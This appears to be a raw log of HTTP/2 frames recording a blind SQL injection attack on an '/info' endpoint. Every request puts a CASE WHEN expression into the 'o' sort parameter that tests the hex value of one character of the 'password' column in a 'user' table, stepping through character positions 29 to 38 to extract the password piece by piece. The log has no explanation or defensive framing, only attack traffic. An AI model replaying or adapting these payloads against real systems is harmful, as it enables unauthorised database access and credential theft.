HEADERS[631]: GET /info?l=1&o=(case_when_(select_hex(substr(password,29,1))_from_user)="66"_then_id_else_col1_end), WINDOW_UPDATE[631]
HEADERS[633]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[633]
HEADERS[635]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[635]
HEADERS[637]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[637]
HEADERS[639]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[639]
HEADERS[641]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[641]
HEADERS[643]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[643]
HEADERS[645]: GET /info?l=1&o=(case_when_(select_hex(substr(password,30,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[645]
HEADERS[647]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[647]
HEADERS[649]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[649]
HEADERS[651]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[651]
HEADERS[653]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[653]
HEADERS[655]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[655]
HEADERS[657]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[657]
HEADERS[659]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[659]
HEADERS[661]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[661]
HEADERS[663]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[663]
HEADERS[665]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[665]
HEADERS[667]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[667]
HEADERS[669]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[669]
HEADERS[671]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[671]
HEADERS[673]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[673]
HEADERS[675]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[675]
HEADERS[677]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[677]
HEADERS[679]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[679]
HEADERS[681]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[681]
HEADERS[683]: GET /info?l=1&o=(case_when_(select_hex(substr(password,31,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[683]
HEADERS[685]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[685]
HEADERS[687]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[687]
HEADERS[689]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[689]
HEADERS[691]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[691]
HEADERS[693]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[693]
HEADERS[695]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[695]
HEADERS[697]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[697]
HEADERS[699]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[699]
HEADERS[701]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[701]
HEADERS[703]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[703]
HEADERS[705]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[705]
HEADERS[707]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[707]
HEADERS[709]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[709]
HEADERS[711]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[711]
HEADERS[713]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[713]
HEADERS[715]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[715]
HEADERS[717]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[717]
HEADERS[719]: GET /info?l=1&o=(case_when_(select_hex(substr(password,32,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[719]
HEADERS[721]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[721]
HEADERS[723]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[723]
HEADERS[725]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[725]
HEADERS[727]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[727]
HEADERS[729]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[729]
HEADERS[731]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[731]
HEADERS[733]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[733]
HEADERS[735]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[735]
HEADERS[737]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[737]
HEADERS[739]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[739]
HEADERS[741]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[741]
HEADERS[743]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[743]
HEADERS[745]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[745]
HEADERS[747]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[747]
HEADERS[749]: GET /info?l=1&o=(case_when_(select_hex(substr(password,33,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[749]
HEADERS[751]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[751]
HEADERS[753]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[753]
HEADERS[755]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[755]
HEADERS[757]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[757]
HEADERS[759]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[759]
HEADERS[761]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[761]
HEADERS[763]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[763]
HEADERS[765]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[765]
HEADERS[767]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[767]
HEADERS[769]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[769]
HEADERS[771]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[771]
HEADERS[773]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[773]
HEADERS[775]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[775]
HEADERS[777]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[777]
HEADERS[779]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[779]
HEADERS[781]: GET /info?l=1&o=(case_when_(select_hex(substr(password,34,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[781]
HEADERS[783]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[783]
HEADERS[785]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[785]
HEADERS[787]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[787]
HEADERS[789]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[789]
HEADERS[791]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[791]
HEADERS[793]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[793]
HEADERS[795]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[795]
HEADERS[797]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[797]
HEADERS[799]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[799]
HEADERS[801]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[801]
HEADERS[803]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[803]
HEADERS[805]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[805]
HEADERS[807]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[807]
HEADERS[809]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[809]
HEADERS[811]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[811]
HEADERS[813]: GET /info?l=1&o=(case_when_(select_hex(substr(password,35,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[813]
HEADERS[815]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[815]
HEADERS[817]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[817]
HEADERS[819]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[819]
HEADERS[821]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[821]
HEADERS[823]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[823]
HEADERS[825]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[825]
HEADERS[827]: GET /info?l=1&o=(case_when_(select_hex(substr(password,36,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[827]
HEADERS[829]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[829]
HEADERS[831]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[831]
HEADERS[833]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[833]
HEADERS[835]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[835]
HEADERS[837]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[837]
HEADERS[839]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[839]
HEADERS[841]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[841]
HEADERS[843]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[843]
HEADERS[845]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[845]
HEADERS[847]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[847]
HEADERS[849]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[849]
HEADERS[851]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[851]
HEADERS[853]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[853]
HEADERS[855]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[855]
HEADERS[857]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[857]
HEADERS[859]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[859]
HEADERS[861]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[861]
HEADERS[863]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[863]
HEADERS[865]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[865]
HEADERS[867]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="66"_then_id_else_col1_end), WINDOW_UPDATE[867]
HEADERS[869]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="67"_then_id_else_col1_end), WINDOW_UPDATE[869]
HEADERS[871]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="68"_then_id_else_col1_end), WINDOW_UPDATE[871]
HEADERS[873]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="69"_then_id_else_col1_end), WINDOW_UPDATE[873]
HEADERS[875]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="6A"_then_id_else_col1_end), WINDOW_UPDATE[875]
HEADERS[877]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="6B"_then_id_else_col1_end), WINDOW_UPDATE[877]
HEADERS[879]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="6C"_then_id_else_col1_end), WINDOW_UPDATE[879]
HEADERS[881]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="6D"_then_id_else_col1_end), WINDOW_UPDATE[881]
HEADERS[883]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="6E"_then_id_else_col1_end), WINDOW_UPDATE[883]
HEADERS[885]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="6F"_then_id_else_col1_end), WINDOW_UPDATE[885]
HEADERS[887]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="70"_then_id_else_col1_end), WINDOW_UPDATE[887]
HEADERS[889]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="71"_then_id_else_col1_end), WINDOW_UPDATE[889]
HEADERS[891]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="72"_then_id_else_col1_end), WINDOW_UPDATE[891]
HEADERS[893]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="73"_then_id_else_col1_end), WINDOW_UPDATE[893]
HEADERS[895]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="74"_then_id_else_col1_end), WINDOW_UPDATE[895]
HEADERS[897]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="75"_then_id_else_col1_end), WINDOW_UPDATE[897]
HEADERS[899]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="76"_then_id_else_col1_end), WINDOW_UPDATE[899]
HEADERS[901]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="77"_then_id_else_col1_end), WINDOW_UPDATE[901]
HEADERS[903]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="78"_then_id_else_col1_end), WINDOW_UPDATE[903]
HEADERS[905]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="79"_then_id_else_col1_end), WINDOW_UPDATE[905]
HEADERS[907]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="7A"_then_id_else_col1_end), WINDOW_UPDATE[907]
HEADERS[909]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="41"_then_id_else_col1_end), WINDOW_UPDATE[909]
HEADERS[911]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="42"_then_id_else_col1_end), WINDOW_UPDATE[911]
HEADERS[913]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="43"_then_id_else_col1_end), WINDOW_UPDATE[913]
HEADERS[915]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="44"_then_id_else_col1_end), WINDOW_UPDATE[915]
HEADERS[917]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="45"_then_id_else_col1_end), WINDOW_UPDATE[917]
HEADERS[919]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="46"_then_id_else_col1_end), WINDOW_UPDATE[919]
HEADERS[921]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="47"_then_id_else_col1_end), WINDOW_UPDATE[921]
HEADERS[923]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="48"_then_id_else_col1_end), WINDOW_UPDATE[923]
HEADERS[925]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="49"_then_id_else_col1_end), WINDOW_UPDATE[925]
HEADERS[927]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="4A"_then_id_else_col1_end), WINDOW_UPDATE[927]
HEADERS[929]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="4B"_then_id_else_col1_end), WINDOW_UPDATE[929]
HEADERS[931]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="4C"_then_id_else_col1_end), WINDOW_UPDATE[931]
HEADERS[933]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="4D"_then_id_else_col1_end), WINDOW_UPDATE[933]
HEADERS[935]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="4E"_then_id_else_col1_end), WINDOW_UPDATE[935]
HEADERS[937]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="4F"_then_id_else_col1_end), WINDOW_UPDATE[937]
HEADERS[939]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="50"_then_id_else_col1_end), WINDOW_UPDATE[939]
HEADERS[941]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="51"_then_id_else_col1_end), WINDOW_UPDATE[941]
HEADERS[943]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="52"_then_id_else_col1_end), WINDOW_UPDATE[943]
HEADERS[945]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="53"_then_id_else_col1_end), WINDOW_UPDATE[945]
HEADERS[947]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="54"_then_id_else_col1_end), WINDOW_UPDATE[947]
HEADERS[949]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="55"_then_id_else_col1_end), WINDOW_UPDATE[949]
HEADERS[951]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="56"_then_id_else_col1_end), WINDOW_UPDATE[951]
HEADERS[953]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="57"_then_id_else_col1_end), WINDOW_UPDATE[953]
HEADERS[955]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="58"_then_id_else_col1_end), WINDOW_UPDATE[955]
HEADERS[957]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="59"_then_id_else_col1_end), WINDOW_UPDATE[957]
HEADERS[959]: GET /info?l=1&o=(case_when_(select_hex(substr(password,37,1))_from_user)="5A"_then_id_else_col1_end), WINDOW_UPDATE[959]
HEADERS[961]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[961]
HEADERS[963]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[963]
HEADERS[965]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[965]
HEADERS[967]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[967]
HEADERS[969]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[969]
HEADERS[971]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[971]
HEADERS[973]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[973]
HEADERS[975]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[975]
HEADERS[977]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[977]
HEADERS[979]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[979]
HEADERS[981]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[981]
HEADERS[983]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[983]
HEADERS[985]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[985]
HEADERS[987]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[987]
HEADERS[989]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[989]
HEADERS[991]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[991]
HEADERS[993]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[993]
HEADERS[995]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[995]
HEADERS[997]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[997]
HEADERS[999]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="66"_then_id_else_col1_end), WINDOW_UPDATE[999]
HEADERS[1001]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="67"_then_id_else_col1_end), WINDOW_UPDATE[1001]
HEADERS[1003]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="68"_then_id_else_col1_end), WINDOW_UPDATE[1003]
HEADERS[1005]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="69"_then_id_else_col1_end), WINDOW_UPDATE[1005]
HEADERS[1007]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="6A"_then_id_else_col1_end), WINDOW_UPDATE[1007]
HEADERS[1009]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="6B"_then_id_else_col1_end), WINDOW_UPDATE[1009]
HEADERS[1011]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="6C"_then_id_else_col1_end), WINDOW_UPDATE[1011]
HEADERS[1013]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="6D"_then_id_else_col1_end), WINDOW_UPDATE[1013]
HEADERS[1015]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="6E"_then_id_else_col1_end), WINDOW_UPDATE[1015]
HEADERS[1017]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="6F"_then_id_else_col1_end), WINDOW_UPDATE[1017]
HEADERS[1019]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="70"_then_id_else_col1_end), WINDOW_UPDATE[1019]
HEADERS[1021]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="71"_then_id_else_col1_end), WINDOW_UPDATE[1021]
HEADERS[1023]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="72"_then_id_else_col1_end), WINDOW_UPDATE[1023]
HEADERS[1025]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="73"_then_id_else_col1_end), WINDOW_UPDATE[1025]
